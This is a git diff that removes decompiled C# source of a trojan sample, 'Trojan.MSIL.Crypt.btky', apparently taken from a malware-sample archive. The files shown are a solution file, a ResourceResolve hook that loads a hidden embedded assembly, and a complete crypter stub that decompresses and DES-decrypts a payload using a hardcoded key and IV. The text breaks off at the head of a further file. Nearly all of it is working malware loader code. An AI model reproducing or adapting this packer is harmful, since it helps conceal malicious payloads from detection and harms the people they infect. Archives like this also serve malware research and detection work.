- - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/Trojan.MSIL.Crypt.btky.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/Trojan.MSIL.Crypt.btky.sln deleted file mode 100644 index 0638ae76..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/Trojan.MSIL.Crypt.btky.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SoraAdd", "Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.csproj", "{9EE82259-DE24-406A-AA26-D274E0710054}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {9EE82259-DE24-406A-AA26-D274E0710054}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {9EE82259-DE24-406A-AA26-D274E0710054}.Debug|Any CPU.Build.0 = Debug|Any CPU - {9EE82259-DE24-406A-AA26-D274E0710054}.Release|Any CPU.ActiveCfg = Release|Any CPU - {9EE82259-DE24-406A-AA26-D274E0710054}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0001/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0001/_0001.cs deleted file mode 100644 index 2558536d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0001/_0001.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using \u0001; -using System; - -namespace \u0001 -{ - internal sealed class \u0001 - { - public static void \u0003() - { - try - { - \u0002.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0001/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0001/_0002.cs deleted file mode 100644 index 475d614a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0001/_0002.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using \u0001; -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0002 - { - private static Assembly \u0001 = (Assembly) null; - private static string[] \u0002 = new string[0]; - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0002.\u0003); - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - if ((object) \u0002.\u0001 == null) - { - lock (\u0002.\u0002) - { - \u0002.\u0001 = Assembly.Load("{3872a73d-48e1-4504-b393-a76428731afe}, PublicKeyToken=3e56350693f7355e"); - if ((object) \u0002.\u0001 != null) - \u0002.\u0002 = \u0002.\u0001.GetManifestResourceNames(); - } - } - string name = obj1.Name; - for (int index = 0; index < \u0002.\u0002.Length; ++index) - { - if (\u0002.\u0002[index] == name) - return \u0002.\u0001; - } - return (Assembly) null; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0001/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0001/_0003.cs deleted file mode 100644 index 7334eadf..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0001/_0003.cs +++ /dev/null @@ -1,1013 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using \u0001; -using System; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0001 -{ - internal sealed class \u0003 - { - public static byte[] \u0003([In] byte[] obj0) - { - \u0003.\u0007 obj1 = new \u0003.\u0007(obj0); - byte[] numArray1 = new byte[0]; - int num1 = obj1.\u0004(); - if (num1 == 67324752) - { - short num2 = (short) obj1.\u0003(); - int num3 = obj1.\u0003(); - int num4 = obj1.\u0003(); - if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8) - throw new FormatException("Wrong Header Signature"); - obj1.\u0004(); - obj1.\u0004(); - obj1.\u0004(); - int length = obj1.\u0004(); - int count1 = obj1.\u0003(); - int count2 = obj1.\u0003(); - if (count1 > 0) - { - byte[] buffer = new byte[count1]; - obj1.Read(buffer, 0, count1); - } - if (count2 > 0) - { - byte[] buffer = new byte[count2]; - obj1.Read(buffer, 0, count2); - } - byte[] buffer1 = new byte[obj1.Length - obj1.Position]; - obj1.Read(buffer1, 0, buffer1.Length); - \u0003.\u0001 obj2 = new \u0003.\u0001(buffer1); - numArray1 = new byte[length]; - obj2.\u0003(numArray1, 0, numArray1.Length); - } - else - { - int num5 = num1 >> 24; - if (num1 - (num5 << 24) != 8223355) - throw new FormatException("Unknown Header"); - if (num5 == 1) - { - int length1 = obj1.\u0004(); - numArray1 = new byte[length1]; - int num6; - for (int index = 0; index < length1; index += num6) - { - int length2 = obj1.\u0004(); - num6 = obj1.\u0004(); - byte[] buffer = new byte[length2]; - obj1.Read(buffer, 0, buffer.Length); - new \u0003.\u0001(buffer).\u0003(numArray1, index, num6); - } - } - if (num5 == 2) - { - DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider(); - cryptoServiceProvider.Key = new byte[8] - { - (byte) 120, - (byte) 141, - (byte) 102, - (byte) 220, - (byte) 241, - (byte) 44, - (byte) 185, - (byte) 225 - }; - cryptoServiceProvider.IV = new byte[8] - { - (byte) 71, - (byte) 136, - (byte) 95, - (byte) 154, - (byte) 88, - (byte) 46, - (byte) 64, - (byte) 117 - }; - byte[] numArray2 = cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(obj0, 4, obj0.Length - 4); - cryptoServiceProvider.Clear(); - numArray1 = \u0003.\u0003(numArray2); - } - } - obj1.Close(); - return numArray1; - } - - internal sealed class \u0001 - { - private static int[] \u0001 = new int[29] - { - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11, - 13, - 15, - 17, - 19, - 23, - 27, - 31, - 35, - 43, - 51, - 59, - 67, - 83, - 99, - 115, - 131, - 163, - 195, - 227, - 258 - }; - private static int[] \u0002 = new int[29] - { - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1, - 1, - 1, - 1, - 2, - 2, - 2, - 2, - 3, - 3, - 3, - 3, - 4, - 4, - 4, - 4, - 5, - 5, - 5, - 5, - 0 - }; - private static int[] \u0003 = new int[30] - { - 1, - 2, - 3, - 4, - 5, - 7, - 9, - 13, - 17, - 25, - 33, - 49, - 65, - 97, - 129, - 193, - 257, - 385, - 513, - 769, - 1025, - 1537, - 2049, - 3073, - 4097, - 6145, - 8193, - 12289, - 16385, - 24577 - }; - private static int[] \u0004 = new int[30] - { - 0, - 0, - 0, - 0, - 1, - 1, - 2, - 2, - 3, - 3, - 4, - 4, - 5, - 5, - 6, - 6, - 7, - 7, - 8, - 8, - 9, - 9, - 10, - 10, - 11, - 11, - 12, - 12, - 13, - 13 - }; - private int \u0005; - private int \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private bool \u000F; - private \u0003.\u0002 \u0010; - private \u0003.\u0003 \u0011; - private \u0003.\u0005 \u0012; - private \u0003.\u0004 \u0013; - private \u0003.\u0004 \u0014; - - public \u0001([In] byte[] obj0) - { - this.\u0010 = new \u0003.\u0002(); - this.\u0011 = new \u0003.\u0003(); - this.\u0005 = 2; - this.\u0010.\u0003(obj0, 0, obj0.Length); - } - - private bool \u0003() - { - int num1 = this.\u0011.\u0003(); - while (num1 >= 258) - { - switch (this.\u0005) - { - case 7: - int num2; - while (((num2 = this.\u0013.\u0003(this.\u0010)) & -256) == 0) - { - this.\u0011.\u0003(num2); - if (--num1 < 258) - return true; - } - if (num2 < 257) - { - if (num2 < 0) - return false; - this.\u0014 = (\u0003.\u0004) null; - this.\u0013 = (\u0003.\u0004) null; - this.\u0005 = 2; - return true; - } - this.\u0007 = \u0003.\u0001.\u0001[num2 - 257]; - this.\u0006 = \u0003.\u0001.\u0002[num2 - 257]; - goto case 8; - case 8: - if (this.\u0006 > 0) - { - this.\u0005 = 8; - int num3 = this.\u0010.\u0003(this.\u0006); - if (num3 < 0) - return false; - this.\u0010.\u0003(this.\u0006); - this.\u0007 += num3; - } - this.\u0005 = 9; - goto case 9; - case 9: - int index = this.\u0014.\u0003(this.\u0010); - if (index < 0) - return false; - this.\u0008 = \u0003.\u0001.\u0003[index]; - this.\u0006 = \u0003.\u0001.\u0004[index]; - goto case 10; - case 10: - if (this.\u0006 > 0) - { - this.\u0005 = 10; - int num4 = this.\u0010.\u0003(this.\u0006); - if (num4 < 0) - return false; - this.\u0010.\u0003(this.\u0006); - this.\u0008 += num4; - } - this.\u0011.\u0003(this.\u0007, this.\u0008); - num1 -= this.\u0007; - this.\u0005 = 7; - continue; - default: - continue; - } - } - return true; - } - - private bool \u0004() - { - switch (this.\u0005) - { - case 2: - if (this.\u000F) - { - this.\u0005 = 12; - return false; - } - int num = this.\u0010.\u0003(3); - if (num < 0) - return false; - this.\u0010.\u0003(3); - if ((num & 1) != 0) - this.\u000F = true; - switch (num >> 1) - { - case 0: - this.\u0010.\u0003(); - this.\u0005 = 3; - break; - case 1: - this.\u0013 = \u0003.\u0004.\u0003; - this.\u0014 = \u0003.\u0004.\u0004; - this.\u0005 = 7; - break; - case 2: - this.\u0012 = new \u0003.\u0005(); - this.\u0005 = 6; - break; - } - return true; - case 3: - if ((this.\u000E = this.\u0010.\u0003(16)) < 0) - return false; - this.\u0010.\u0003(16); - this.\u0005 = 4; - goto case 4; - case 4: - if (this.\u0010.\u0003(16) < 0) - return false; - this.\u0010.\u0003(16); - this.\u0005 = 5; - goto case 5; - case 5: - this.\u000E -= this.\u0011.\u0003(this.\u0010, this.\u000E); - if (this.\u000E != 0) - return !this.\u0010.\u0003(); - this.\u0005 = 2; - return true; - case 6: - if (!this.\u0012.\u0003(this.\u0010)) - return false; - this.\u0013 = this.\u0012.\u0003(); - this.\u0014 = this.\u0012.\u0004(); - this.\u0005 = 7; - goto case 7; - case 7: - case 8: - case 9: - case 10: - return this.\u0003(); - case 12: - return false; - default: - return false; - } - } - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - do - { - if (this.\u0005 != 11) - goto label_5; -label_2: - continue; -label_5: - int num2 = this.\u0011.\u0003(obj0, obj1, obj2); - obj1 += num2; - num1 += num2; - obj2 -= num2; - if (obj2 != 0) - goto label_2; - else - goto label_1; - } - while (this.\u0004() || this.\u0011.\u0004() > 0 && this.\u0005 != 11); - goto label_3; -label_1: - return num1; -label_3: - return num1; - } - } - - internal sealed class \u0002 - { - private byte[] \u0001; - private int \u0002; - private int \u0003; - private uint \u0004; - private int \u0005; - - public int \u0003([In] int obj0) - { - if (this.\u0005 < obj0) - goto label_4; -label_3: - return (int) ((long) this.\u0004 & (long) ((1 << obj0) - 1)); -label_4: - if (this.\u0002 == this.\u0003) - return -1; - this.\u0004 |= (uint) (((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue) << 8) << this.\u0005); - this.\u0005 += 16; - goto label_3; - } - - public void \u0003([In] int obj0) - { - this.\u0004 >>= obj0; - this.\u0005 -= obj0; - } - - [SpecialName] - public int \u0003() => this.\u0005; - - [SpecialName] - public int \u0004() => this.\u0003 - this.\u0002 + (this.\u0005 >> 3); - - public void \u0003() - { - this.\u0004 >>= this.\u0005 & 7; - this.\u0005 &= -8; - } - - [SpecialName] - public bool \u0003() => this.\u0002 == this.\u0003; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - while (this.\u0005 > 0 && obj2 > 0) - { - obj0[obj1++] = (byte) this.\u0004; - this.\u0004 >>= 8; - this.\u0005 -= 8; - --obj2; - ++num1; - } - if (obj2 == 0) - return num1; - int num2 = this.\u0003 - this.\u0002; - if (obj2 > num2) - obj2 = num2; - Array.Copy((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2); - this.\u0002 += obj2; - if ((this.\u0002 - this.\u0003 & 1) != 0) - { - this.\u0004 = (uint) this.\u0001[this.\u0002++] & (uint) byte.MaxValue; - this.\u0005 = 8; - } - return num1 + obj2; - } - - public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - if (this.\u0002 < this.\u0003) - throw new InvalidOperationException(); - int num = obj1 + obj2; - if (0 > obj1 || obj1 > num || num > obj0.Length) - throw new ArgumentOutOfRangeException(); - if ((obj2 & 1) != 0) - { - this.\u0004 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0005); - this.\u0005 += 8; - } - this.\u0001 = obj0; - this.\u0002 = obj1; - this.\u0003 = num; - } - } - - internal sealed class \u0003 - { - private static int \u0001 = 32768; - private static int \u0002 = \u0003.\u0003.\u0001 - 1; - private byte[] \u0003 = new byte[\u0003.\u0003.\u0001]; - private int \u0004; - private int \u0005; - - public void \u0003([In] int obj0) - { - \u0003.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0005; - obj.\u0005 = num1 + 1; - if (num2 == \u0003.\u0003.\u0001) - throw new InvalidOperationException(); - this.\u0003[this.\u0004++] = (byte) obj0; - this.\u0004 &= \u0003.\u0003.\u0002; - } - - private void \u0003([In] int obj0, [In] int obj1, [In] int obj2) - { - while (obj1-- > 0) - { - byte[] numArray = this.\u0003; - \u0003.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0004; - obj.\u0004 = num1 + 1; - int index = num2; - int num3 = (int) this.\u0003[obj0++]; - numArray[index] = (byte) num3; - this.\u0004 &= \u0003.\u0003.\u0002; - obj0 &= \u0003.\u0003.\u0002; - } - } - - public void \u0003([In] int obj0, [In] int obj1) - { - if ((this.\u0005 += obj0) > \u0003.\u0003.\u0001) - throw new InvalidOperationException(); - int sourceIndex = this.\u0004 - obj1 & \u0003.\u0003.\u0002; - int num = \u0003.\u0003.\u0001 - obj0; - if (sourceIndex <= num && this.\u0004 < num) - { - if (obj0 <= obj1) - { - Array.Copy((Array) this.\u0003, sourceIndex, (Array) this.\u0003, this.\u0004, obj0); - this.\u0004 += obj0; - } - else - { - while (obj0-- > 0) - this.\u0003[this.\u0004++] = this.\u0003[sourceIndex++]; - } - } - else - this.\u0003(sourceIndex, obj0, obj1); - } - - public int \u0003([In] \u0003.\u0002 obj0, [In] int obj1) - { - obj1 = Math.Min(Math.Min(obj1, \u0003.\u0003.\u0001 - this.\u0005), obj0.\u0004()); - int num1 = \u0003.\u0003.\u0001 - this.\u0004; - int num2; - if (obj1 > num1) - { - num2 = obj0.\u0003(this.\u0003, this.\u0004, num1); - if (num2 == num1) - num2 += obj0.\u0003(this.\u0003, 0, obj1 - num1); - } - else - num2 = obj0.\u0003(this.\u0003, this.\u0004, obj1); - this.\u0004 = this.\u0004 + num2 & \u0003.\u0003.\u0002; - this.\u0005 += num2; - return num2; - } - - public int \u0003() => \u0003.\u0003.\u0001 - this.\u0005; - - public int \u0004() => this.\u0005; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = this.\u0004; - if (obj2 > this.\u0005) - obj2 = this.\u0005; - else - num1 = this.\u0004 - this.\u0005 + obj2 & \u0003.\u0003.\u0002; - int num2 = obj2; - int length = obj2 - num1; - if (length > 0) - { - Array.Copy((Array) this.\u0003, \u0003.\u0003.\u0001 - length, (Array) obj0, obj1, length); - obj1 += length; - obj2 = num1; - } - Array.Copy((Array) this.\u0003, num1 - obj2, (Array) obj0, obj1, obj2); - this.\u0005 -= num2; - if (this.\u0005 < 0) - throw new InvalidOperationException(); - return num2; - } - } - - internal sealed class \u0004 - { - private static int \u0001 = 15; - private short[] \u0002; - public static \u0003.\u0004 \u0003; - public static \u0003.\u0004 \u0004; - - static \u0004() - { - byte[] numArray1 = new byte[288]; - int num1 = 0; - while (num1 < 144) - numArray1[num1++] = (byte) 8; - while (num1 < 256) - numArray1[num1++] = (byte) 9; - while (num1 < 280) - numArray1[num1++] = (byte) 7; - while (num1 < 288) - numArray1[num1++] = (byte) 8; - \u0003.\u0004.\u0003 = new \u0003.\u0004(numArray1); - byte[] numArray2 = new byte[32]; - int num2 = 0; - while (num2 < 32) - numArray2[num2++] = (byte) 5; - \u0003.\u0004.\u0004 = new \u0003.\u0004(numArray2); - } - - public \u0004([In] byte[] obj0) => this.\u0003(obj0); - - private void \u0003([In] byte[] obj0) - { - int[] numArray1 = new int[\u0003.\u0004.\u0001 + 1]; - int[] numArray2 = new int[\u0003.\u0004.\u0001 + 1]; - for (int index1 = 0; index1 < obj0.Length; ++index1) - { - int index2 = (int) obj0[index1]; - if (index2 > 0) - ++numArray1[index2]; - } - int num1 = 0; - int length = 512; - for (int index = 1; index <= \u0003.\u0004.\u0001; ++index) - { - numArray2[index] = num1; - num1 += numArray1[index] << 16 - index; - if (index >= 10) - { - int num2 = numArray2[index] & 130944; - int num3 = num1 & 130944; - length += num3 - num2 >> 16 - index; - } - } - this.\u0002 = new short[length]; - int num4 = 512; - for (int index3 = \u0003.\u0004.\u0001; index3 >= 10; --index3) - { - int num5 = num1 & 130944; - num1 -= numArray1[index3] << 16 - index3; - for (int index4 = num1 & 130944; index4 < num5; index4 += 128) - { - this.\u0002[(int) \u0003.\u0006.\u0003(index4)] = (short) (-num4 << 4 | index3); - num4 += 1 << index3 - 9; - } - } - for (int index5 = 0; index5 < obj0.Length; ++index5) - { - int index6 = (int) obj0[index5]; - if (index6 != 0) - { - int num6 = numArray2[index6]; - int index7 = (int) \u0003.\u0006.\u0003(num6); - if (index6 <= 9) - { - do - { - this.\u0002[index7] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < 512); - } - else - { - int num7 = (int) this.\u0002[index7 & 511]; - int num8 = 1 << (num7 & 15); - int num9 = -(num7 >> 4); - do - { - this.\u0002[num9 | index7 >> 9] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < num8); - } - numArray2[index6] = num6 + (1 << 16 - index6); - } - } - } - - public int \u0003([In] \u0003.\u0002 obj0) - { - int index; - if ((index = obj0.\u0003(9)) >= 0) - { - int num1; - if ((num1 = (int) this.\u0002[index]) >= 0) - { - obj0.\u0003(num1 & 15); - return num1 >> 4; - } - int num2 = -(num1 >> 4); - int num3 = num1 & 15; - int num4; - if ((num4 = obj0.\u0003(num3)) >= 0) - { - int num5 = (int) this.\u0002[num2 | num4 >> 9]; - obj0.\u0003(num5 & 15); - return num5 >> 4; - } - int num6 = obj0.\u0003(); - int num7 = obj0.\u0003(num6); - int num8 = (int) this.\u0002[num2 | num7 >> 9]; - if ((num8 & 15) > num6) - return -1; - obj0.\u0003(num8 & 15); - return num8 >> 4; - } - int num9 = obj0.\u0003(); - int num10 = (int) this.\u0002[obj0.\u0003(num9)]; - if (num10 < 0 || (num10 & 15) > num9) - return -1; - obj0.\u0003(num10 & 15); - return num10 >> 4; - } - } - - internal sealed class \u0005 - { - private static readonly int[] \u0001 = new int[3] - { - 3, - 3, - 11 - }; - private static readonly int[] \u0002 = new int[3] - { - 2, - 3, - 7 - }; - private byte[] \u0003; - private byte[] \u0004; - private \u0003.\u0004 \u0005; - private int \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private int \u000F; - private int \u0010; - private byte \u0011; - private int \u0012; - private static readonly int[] \u0013 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - - public bool \u0003([In] \u0003.\u0002 obj0) - { - while (true) - { - switch (this.\u0006) - { - case 0: - this.\u0007 = obj0.\u0003(5); - if (this.\u0007 >= 0) - { - this.\u0007 += 257; - obj0.\u0003(5); - this.\u0006 = 1; - goto case 1; - } - else - goto label_2; - case 1: - this.\u0008 = obj0.\u0003(5); - if (this.\u0008 >= 0) - { - ++this.\u0008; - obj0.\u0003(5); - this.\u000F = this.\u0007 + this.\u0008; - this.\u0004 = new byte[this.\u000F]; - this.\u0006 = 2; - goto case 2; - } - else - goto label_5; - case 2: - this.\u000E = obj0.\u0003(4); - if (this.\u000E >= 0) - { - this.\u000E += 4; - obj0.\u0003(4); - this.\u0003 = new byte[19]; - this.\u0012 = 0; - this.\u0006 = 3; - goto case 3; - } - else - goto label_8; - case 3: - for (; this.\u0012 < this.\u000E; ++this.\u0012) - { - int num = obj0.\u0003(3); - if (num < 0) - return false; - obj0.\u0003(3); - this.\u0003[\u0003.\u0005.\u0013[this.\u0012]] = (byte) num; - } - this.\u0005 = new \u0003.\u0004(this.\u0003); - this.\u0003 = (byte[]) null; - this.\u0012 = 0; - this.\u0006 = 4; - goto case 4; - case 4: - int num1; - while (((num1 = this.\u0005.\u0003(obj0)) & -16) == 0) - { - this.\u0004[this.\u0012++] = this.\u0011 = (byte) num1; - if (this.\u0012 == this.\u000F) - return true; - } - if (num1 >= 0) - { - if (num1 >= 17) - this.\u0011 = (byte) 0; - this.\u0010 = num1 - 16; - this.\u0006 = 5; - goto case 5; - } - else - goto label_19; - case 5: - int num2 = \u0003.\u0005.\u0002[this.\u0010]; - int num3 = obj0.\u0003(num2); - if (num3 >= 0) - { - obj0.\u0003(num2); - int num4 = num3 + \u0003.\u0005.\u0001[this.\u0010]; - while (num4-- > 0) - this.\u0004[this.\u0012++] = this.\u0011; - if (this.\u0012 != this.\u000F) - { - this.\u0006 = 4; - continue; - } - goto label_29; - } - else - goto label_24; - default: - continue; - } - } -label_2: - return false; -label_5: - return false; -label_8: - return false; -label_19: - return false; -label_24: - return false; -label_29: - return true; - } - - public \u0003.\u0004 \u0003() - { - byte[] destinationArray = new byte[this.\u0007]; - Array.Copy((Array) this.\u0004, 0, (Array) destinationArray, 0, this.\u0007); - return new \u0003.\u0004(destinationArray); - } - - public \u0003.\u0004 \u0004() - { - byte[] destinationArray = new byte[this.\u0008]; - Array.Copy((Array) this.\u0004, this.\u0007, (Array) destinationArray, 0, this.\u0008); - return new \u0003.\u0004(destinationArray); - } - } - - internal sealed class \u0006 - { - private static int \u0001 = 16384; - private static int \u0002 = 286; - private static int \u0003 = 30; - private static int \u0004 = 19; - private static int \u0005 = 16; - private static int \u0006 = 17; - private static int \u0007 = 18; - private static int \u0008 = 256; - private static int[] \u000E = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - private static byte[] \u000F = new byte[16] - { - (byte) 0, - (byte) 8, - (byte) 4, - (byte) 12, - (byte) 2, - (byte) 10, - (byte) 6, - (byte) 14, - (byte) 1, - (byte) 9, - (byte) 5, - (byte) 13, - (byte) 3, - (byte) 11, - (byte) 7, - (byte) 15 - }; - private static short[] \u0010 = new short[\u0003.\u0006.\u0002]; - private static byte[] \u0011 = new byte[\u0003.\u0006.\u0002]; - private static short[] \u0012; - private static byte[] \u0013; - - public static short \u0003([In] int obj0) => (short) ((int) \u0003.\u0006.\u000F[obj0 & 15] << 12 | (int) \u0003.\u0006.\u000F[obj0 >> 4 & 15] << 8 | (int) \u0003.\u0006.\u000F[obj0 >> 8 & 15] << 4 | (int) \u0003.\u0006.\u000F[obj0 >> 12]); - - static \u0006() - { - int index1; - for (index1 = 0; index1 < 144; \u0003.\u0006.\u0011[index1++] = (byte) 8) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(48 + index1 << 8); - for (; index1 < 256; \u0003.\u0006.\u0011[index1++] = (byte) 9) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(256 + index1 << 7); - for (; index1 < 280; \u0003.\u0006.\u0011[index1++] = (byte) 7) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(index1 - 256 << 9); - for (; index1 < \u0003.\u0006.\u0002; \u0003.\u0006.\u0011[index1++] = (byte) 8) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(index1 - 88 << 8); - \u0003.\u0006.\u0012 = new short[\u0003.\u0006.\u0003]; - \u0003.\u0006.\u0013 = new byte[\u0003.\u0006.\u0003]; - for (int index2 = 0; index2 < \u0003.\u0006.\u0003; ++index2) - { - \u0003.\u0006.\u0012[index2] = \u0003.\u0006.\u0003(index2 << 11); - \u0003.\u0006.\u0013[index2] = (byte) 5; - } - } - } - - internal sealed class \u0007 : MemoryStream - { - public int \u0003() => this.ReadByte() | this.ReadByte() << 8; - - public int \u0004() => this.\u0003() | this.\u0003() << 16; - - public \u0007([In] byte[] obj0) - : base(obj0, false) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0001/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0001/_0004.cs deleted file mode 100644 index 4026bbb8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0001/_0004.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using \u0001; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0004 - { - internal static long \u0001; - internal static long \u0002; - internal static \u0004.\u0001 \u0003; - internal static \u0004.\u0001 \u0004; - internal static \u0004.\u0002 \u0005; - internal static \u0004.\u0002 \u0006; - internal static \u0004.\u0003 \u0007; - internal static \u0004.\u0003 \u0008; - internal static \u0004.\u0004 \u000E; - internal static \u0004.\u0004 \u000F; - internal static \u0004.\u0005 \u0010; - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0001 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u0002 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u0003 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u0004 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u0005 - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0002/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0002/_0001.cs deleted file mode 100644 index b64bcf23..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0002/_0001.cs +++ /dev/null @@ -1,301 +0,0 @@ -// Decompiled with JetBrains 